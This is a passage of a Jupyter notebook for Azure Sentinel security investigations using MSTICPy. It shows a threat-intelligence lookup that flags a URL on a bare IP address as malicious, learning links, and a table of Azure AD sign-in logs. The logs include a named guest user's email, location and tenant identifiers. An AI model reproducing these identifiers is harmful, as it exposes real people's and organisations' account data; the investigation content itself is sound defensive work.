nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MalwarePatrol':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Malwared':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Netcraft':&nbsp;{'detected':&nbsp;True,&nbsp;'result':&nbsp;'malicious&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'NotMining':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Nucleon':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'OpenPhish':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'PREBYTES':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'PhishLabs':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Phishing&nbsp;Database':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Phishtank':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Quick&nbsp;Heal':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Quttera':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Rising':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'SCUMWARE.org':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'SafeToOpen':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Sangfor':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Scantitan':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'SecureBrain':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Sophos':&nbsp;{'detected':&nbsp;True,&nbsp;'result':&nbsp;'malware&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Spam404':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Spamhaus':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'StopBadware':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'StopForumSpam':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Sucuri&nbsp;SiteCheck':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Tencent':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ThreatHive':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Threatsourcing':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Trustwave':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'URLhaus':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'VX&nbsp;Vault':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Virusdie&nbsp;External&nbsp;Site&nbsp;Scan':&nbsp;{'detected':&nbsp;False,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Web&nbsp;Security&nbsp;Guard':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Webroot':&nbsp;{'detected':&nbsp;True,&nbsp;'result':&nbsp;'malicious&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Yandex&nbsp;Safebrowsing':&nbsp;{'detail':&nbsp;'http://yandex.com/infected?l10n=en&url=http://85.214.149.236:443/sugarcrm/themes/default/images/',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'detected':&nbsp;False,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ZeroCERT':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'alphaMountain.ai':&nbsp;{'detected':&nbsp;True,&nbsp;'result':&nbsp;'malicious&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'benkow.cc':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'desenmascara.me':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'malwares.com&nbsp;URL&nbsp;checker':&nbsp;{'detected':&nbsp;False,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'securolytics':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'zvelo':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'}},<br>&nbsp;'total':&nbsp;89,<br>&nbsp;'url':&nbsp;'http://85.214.149.236:443/sugarcrm/themes/default/images/',<br>&nbsp;'verbose_msg':&nbsp;'Scan&nbsp;finished,&nbsp;scan&nbsp;information&nbsp;embedded&nbsp;in&nbsp;this&nbsp;object'}</pre>\n",
       "        </details>\n",
       "        "
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "TILookup.browse_results(Url.tilookup_url(\"http://85.214.149.236:443/sugarcrm/themes/default/images/\"))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Learn more:\r\n",
    "\r\n",
    " - [MSTICPy Pivot Functions](https://msticpy.readthedocs.io/en/latest/data_analysis/PivotFunctions.html)\r\n",
    " - [Introduction to Pivot Functions notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/PivotFunctions-Introduction.ipynb)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "# Conclusion\r\n",
    "\r\n",
    "This notebook has shown some basic components of MSTICPy and how to use them in notebooks for Azure Sentinel for security investigaitons.\r\n",
    "\r\n",
    "There are many more things possible using notebooks. We strongly encourage you to read the material referenced in the \"Learn More\" sections in this notebook.\r\n",
    "\r\n",
    "You can also explore the other Azure Sentinel notebooks in order to take advantage of the pre-built hunting logic, and understand other analysis techniques that are possible. </br>\r\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "# Appendices\r\n",
    "\r\n",
    "## Further resources\r\n",
    "\r\n",
    " - [Jupyter Notebooks: An Introduction](https://realpython.com/jupyter-notebook-introduction/)\r\n",
    " - [Threat Hunting in the cloud with Azure Notebooks](https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0)\r\n",
    " - [MSTICPy documentation](https://msticpy.readthedocs.io/)\r\n",
    " - [Azure Machine Learning Notebooks documentation](https://docs.microsoft.com/en-us/azure/machine-learning/how-to-run-jupyter-notebooks)\r\n",
    " - [The Infosec Jupyterbook](https://infosecjupyterbook.com/introduction.html)\r\n",
    " - [Linux Host Explorer Notebook walkthrough](https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273)\r\n",
    " - [Why use Jupyter for Security Investigations](https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729)\r\n",
    " - [Security Investigtions with Azure Sentinel & Notebooks](https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921)\r\n",
    " - [Pandas Documentation](https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html)\r\n",
    " - [Bokeh Documentation](https://docs.bokeh.org/en/latest/)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "## Introduction to Pandas\r\n",
    "\r\n",
    "If you are working with data in the notebook a lot you will want to learn about **pandas**.\r\n",
    "Our query results are returned in the form of a Pandas DataFrame: \r\n",
    "they are a pivotal to Azure Sentinel notebooks and MSTICPy and are used for both input and output formats.\r\n",
    "\r\n",
    "Pandas DataFrames are incredibly versatile data structures with a lot of useful features.\r\n",
    "You might think of them as programmable Excel worksheets.\r\n",
    "\r\n",
    "We will cover a small number of them here and we recommend that you check\r\n",
    "out the Learn more section to learn more about Pandas features.\r\n",
    "<br>\r\n",
    "<br>\r\n",
    "\r\n",
    "### Displaying a DataFrame:\r\n",
    "\r\n",
    "The first thing we want to do is display our DataFrame.\r\n",
    "If the DataFrame is the last item in a code cell, you can just run the cell to display the data.\r\n",
    "\r\n",
    "You can the Jupyter display function - `display(df)` to explicitly display it - this is especially\r\n",
    "useful if you want to display a DataFrame from the middle of a code block in a cell.\r\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
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       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>...</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>UserType</th>\n",
       "      <th>FlaggedForReview</th>\n",
       "      <th>IPAddressFromResourceProvider</th>\n",
       "      <th>SignInIdentifier</th>\n",
       "      <th>SignInIdentifierType</th>\n",
       "      <th>ResourceTenantId</th>\n",
       "      <th>HomeTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
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       "  </thead>\n",
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       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
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       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>9558f30b-a1db-4676-a586-7db608bdaa69</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
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       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.73078155517578</td>\n",
       "      <td>-78.17196655273438</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 10:55:26.252000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>dac1edbe-1985-4f78-8d20-f4725e28b865</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
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       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
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       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.7130012512207</td>\n",
       "      <td>-78.15899658203125</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 11:36:15.896000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>4</td>\n",
       "      <td>RU</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>9267d02c-5f76-40a9-a9eb-b686f3ca47aa</td>\n",
       "      <td>avasilev@viacode.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>5fccd68a-e65e-46ae-96b1-2d896d680249</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>59.93904113769531</td>\n",
       "      <td>30.3157901763916</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>3 rows × 69 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem  \\\n",
       "0  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "2  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "\n",
       "                     TimeGenerated  \\\n",
       "0 2021-06-28 10:55:21.648000+00:00   \n",
       "1 2021-06-28 10:55:26.252000+00:00   \n",
       "2 2021-06-28 11:36:15.896000+00:00   \n",
       "\n",
       "                                                                 ResourceId  \\\n",
       "0  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "1  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "2  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "\n",
       "      OperationName OperationVersion    Category ResultType ResultSignature  \\\n",
       "0  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "1  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "2  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "\n",
       "  ResultDescription  DurationMs                         CorrelationId  \\\n",
       "0                             0  9558f30b-a1db-4676-a586-7db608bdaa69   \n",
       "1                             0  dac1edbe-1985-4f78-8d20-f4725e28b865   \n",
       "2                             0  974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f   \n",
       "\n",
       "           Resource     ResourceGroup ResourceProvider  \\\n",
       "0  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "1  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "2  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "\n",
       "                                                Identity Level Location  \\\n",
       "0  On-Premises Directory Synchronization Service Account     4       US   \n",
       "1  On-Premises Directory Synchronization Service Account     4       US   \n",
       "2                                         Arseny Vasilev     4       RU   \n",
       "\n",
       "                                    AlternateSignInName  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "2                                                         \n",
       "\n",
       "                             AppDisplayName  \\\n",
       "0  Microsoft Azure Active Directory Connect   \n",
       "1  Microsoft Azure Active Directory Connect   \n",
       "2                              Azure Portal   \n",
       "\n",
       "                                  AppId  \\\n",
       "0  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "1  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "2  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "\n",
       "                                                                                 AuthenticationDetails  \\\n",
       "0  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...   \n",
       "1  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...   \n",
       "2  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...   \n",
       "\n",
       "  AuthenticationMethodsUsed  \\\n",
       "0                             \n",
       "1                             \n",
       "2                             \n",
       "\n",
